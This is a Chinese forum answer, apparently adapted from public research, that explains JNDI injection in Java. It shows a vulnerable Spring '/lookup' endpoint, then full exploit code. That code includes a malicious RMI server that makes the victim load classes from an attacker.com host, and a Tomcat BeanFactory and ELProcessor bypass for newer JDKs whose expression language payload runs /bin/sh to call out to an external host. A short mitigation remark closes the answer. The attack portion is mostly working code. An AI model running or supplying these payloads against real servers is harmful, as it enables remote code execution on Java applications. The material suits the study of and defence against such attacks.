完善资料让更多小伙伴认识你,还能领取20积分哦, 立即完善>
扫一扫,分享给好友
没有jndi之前,对于一个外部依赖,像mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。 有了jndi后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。 J2EE规范要求所有的J2EE容器都要提供JNDI规范的实现。JNDI就成为了J2EE组件在运行期间间接地查找其他组件、资源或服务的通用机制。JNDI在J2EE中主要角色就是提供间接层,这样组件可以发现所需资源,不用了解间接性。 所以JDNI的全名是Java Naming And Directory Interface. JNDI客户端通过名字来查找所需对象,这些对象可以保存在多种的命名服务和目录服务中,像RMI( Remte Method Invocation)、CoRBA(Common Object Quest Broker Architecture, LDAP(Lightweight Directory Access Protocol)、DNS等。 JNDI客户端可以通过一个简单的字符串进行资源查找。如果这个资源的来源不可信,那么可能会导致远程代码执行的问题。 |
|
相关推荐
1个回答
|
|
就是这么简单的机制,‘initialContext.lookup‘方法即使没有直接暴露在污点数据中,我们可以利用它进行漏洞利用。很多时候,我们可以通过反序列化和不安全的反射的攻击方式来实现攻击。
没有jndi之前,对于一个外部依赖,像mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要经常去调整配置。 有了jndi后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。 J2EE规范要求所有的J2EE容器都要提供JNDI规范的实现。JNDI就成为了J2EE组件在运行期间间接地查找其他组件、资源或服务的通用机制。JNDI在J2EE中主要角色就是提供间接层,这样组件可以发现所需资源,不用了解间接性。 所以JDNI的全名是Java Naming And Directory Interface. JNDI客户端通过名字来查找所需对象,这些对象可以保存在多种的命名服务和目录服务中,像RMI( Remte Method Invocation)、CoRBA(Common Object Quest Broker Architecture, LDAP(Lightweight Directory Access Protocol)、DNS等。 JNDI客户端可以通过一个简单的字符串进行资源查找。如果这个资源的来源不可信,那么可能会导致远程代码执行的问题。
就是这么简单的机制,‘initialContext.lookup‘方法即使没有直接暴露在污点数据中,我们可以利用它进行漏洞利用。很多时候,我们可以通过反序列化和不安全的反射的攻击方式来实现攻击。
@RequestMapping("/lookup")@Example(uri = {"/lookup?name=java:comp/env"})public Object lookup(@RequestParam String name) throws Exception{ return new javax.naming.InitialContext().lookup(name);} 根据我python基础,我看出这个代码是映射/lookup这个地址的一个方法,它会拿url中的name变量进行数据查询。 利用方法: JDK版本低于1.8.0_191 这个漏洞我们控制了jndi的变量内容,可以很简单的把内容地址指向我们的服务器,以此触发远程对象加载,我们创建一个恶意的RMI服务器,并响应一个恶意的类地址。 代码如下: public class EvilRMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/' Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); }} 我们创建了一个javax.naming.Reference的示例,把这个示例绑定到 /Object地址上,这个Export对象对目标服务器是未知的,他会从http://_attacker.com/ExprotObject.class这里获取字节码,从而触发1个RCE。 上面的代码在Java 8u121 Oracle 添加RMI代码限制的前工作完美。之后,我们可以利用一个恶意的LDAP服务器响应相同信息,进行攻击,具体文章地址在这,代码展示可以在 marshalsec 里面找到。直到JAVA 8u191,Oracle对LDAP向量进行了相同的限制,导致JNDI远程类加载问题被修复。现在我们利用jndi注入主要是进行不信任数据的反序列化,利用门槛变高。要求系统中存在gadgetl类。 JAVA 8u191时,JNDI客户端在接受远程引用对象的时候,不使用classFactoryLoction,但是我们还是可以通过JavaFactory来指定一个任意的工厂类。 这个类时用于从攻击者控制的Reference对象中提取真实的对象。真实对象要求必须存在目标系统的classpath, 且实现了“Javax.naming.spi.ObjectFactory”接口和“getObjectInstance方法。 public interface ObjectFactory {/** * Creates an object using the location or reference information * specified. * .../* public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception;} 我们需要找到一个工厂类在classpath中,它对Reference的属性做了一些不安全的动作。 "org.apache.naming.factory.BeanFactory" 在apache tomcat中,它包含了一段利用反射创建bean的代码。(不知道大佬们怎么发现他的emm) public class BeanFactory implements ObjectFactory { /** * Create a new Bean instance. * * @param obj The reference object describing the Bean */ @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch(ClassNotFoundException e) { } } else { try { beanClass = Class.forName(beanClassName); } catch(ClassNotFoundException e) { e.printStackTrace(); } } ... BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); /* Look for properties with explicitly configured setter */ RefAddr ra = ref.get("forceString"); Map forced = new HashMap<>(); String value; if (ra != null) { value = (String)ra.getContent(); Class paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { param = param.trim(); /* A single item can either be of the form name=method * or just a property name (and we will use a standard * setter) */ index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (NoSuchMethodException|SecurityException ex) { throw new NamingException ("Forced String setter " + setterName + " not found for property " + param); } } } Enumeration e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope") || propName.equals("auth") || propName.equals("forceString") || propName.equals("singleton")) { continue; } value = (String)ra.getContent(); Object[] valueArray = new Object[1]; /* Shortcut for properties with explicitly configured setter */ Method method = forced.get(propName); if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); } catch (IllegalAccessException| IllegalArgumentException| InvocationTargetException ex) { throw new NamingException ("Forced String setter " + method.getName() + " threw exception for property " + propName); } continue; }...,> emm,就是这段代码,BeanFacktory 创建了一个任意bean类实例并执行了它所有的setter 函数。这个任意bean类的名字、属性、属性值都来自于Reference对象,外部完全可控。(每次看到这种类我都觉得时后门代码。。) 目标类还需要有个无参构造函数和strings传参的setters函数。实际上setters函数命名可以不是set开头,因为BeanFactory 包含一些逻辑让我们可以为setters函数设置任意的名称。叼叼叼。 /* Look for properties with explicitly configured setter */RefAddr ra = ref.get("forceString");Map forced = new HashMap<>();String value; if (ra != null) { value = (String)ra.getContent(); Class paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { param = param.trim(); /* A single item can either be of the form name=method * or just a property name (and we will use a standard * setter) */ index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); },> 这里使用的魔性属性时“forceString", 通过设置“x=eval”,我们可以将x属性对应的setter设置成eval函数。 通过BeanFactoryClass,我们可以创建一个任意对象的实例且调用任意一个参数的的公开方法。 Javax.el.ELProcessor类,存在一个eval方法,接收一个字符串,该字符串将表示要执行的Java表达式语言模板。 package javax.el;...public class ELProcessor {... public Object eval(String expression) { return getValue(expression, Object.class); } 恶意表达式可以是: {"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")} 串联所以需要的利用条件,使用RMI方式发送。 import java.rmi.registry.*;import com.sun.jndi.rmi.registry.*;import javax.naming.*;import org.apache.naming.ResourceRef; public class EvilRMIServerNew { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code ref.add(new StringRefAddr("forceString", "x=eval")); //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows ref.add(new StringRefAddr("x", "/"/".getClass().forName(/"javax.script.ScriptEngineManager/").newInstance().getEngineByName(/"JavaScript/").eval(/"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()/")")); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); }} 客户端触发代码: new InitialContext().lookup("rmi://127.0.0.1:1097/Object") BeanFactory从Reference中获取真实对象的过程中,触发模版表达式代码,导致执行任意代码。 JDNI 注入的解决方案: JDNI注入的问题核心是传给initalContext.lookup的数据是外部用户可控的。这是核心关键点。即使通过jdk代码限制也无法完全修复问题。 反序列化漏洞也可以利用这种方式进行JNDI解析注入导致任意代码执行。 |
|
|
|
你正在撰写答案
如果你是对答案或其他答案精选点评或询问,请使用“评论”功能。
“0元购”智元灵犀X1机器人,软硬件全套图纸和代码全公开!资料免费下载!
3886 浏览 2 评论
1404 浏览 0 评论
【实操文档】在智能硬件的大模型语音交互流程中接入RAG知识库
6769 浏览 1 评论
防止AI大模型被黑客病毒入侵控制(原创)聆思大模型AI开发套件评测4
1098 浏览 0 评论
不可错过!人工神经网络算法、PID算法、Python人工智能学习等资料包分享(附源代码)
3415 浏览 0 评论
小黑屋| 手机版| Archiver| 电子发烧友 ( 湘ICP备2023018690号 )
GMT+8, 2024-12-25 01:28 , Processed in 0.653754 second(s), Total 42, Slave 36 queries .
Powered by 电子发烧友网
© 2015 bbs.elecfans.com
关注我们的微信
下载发烧友APP
电子发烧友观察
版权所有 © 湖南华秋数字科技有限公司
电子发烧友 (电路图) 湘公网安备 43011202000918 号 电信与信息服务业务经营许可证:合字B2-20210191 工商网监 湘ICP备2023018690号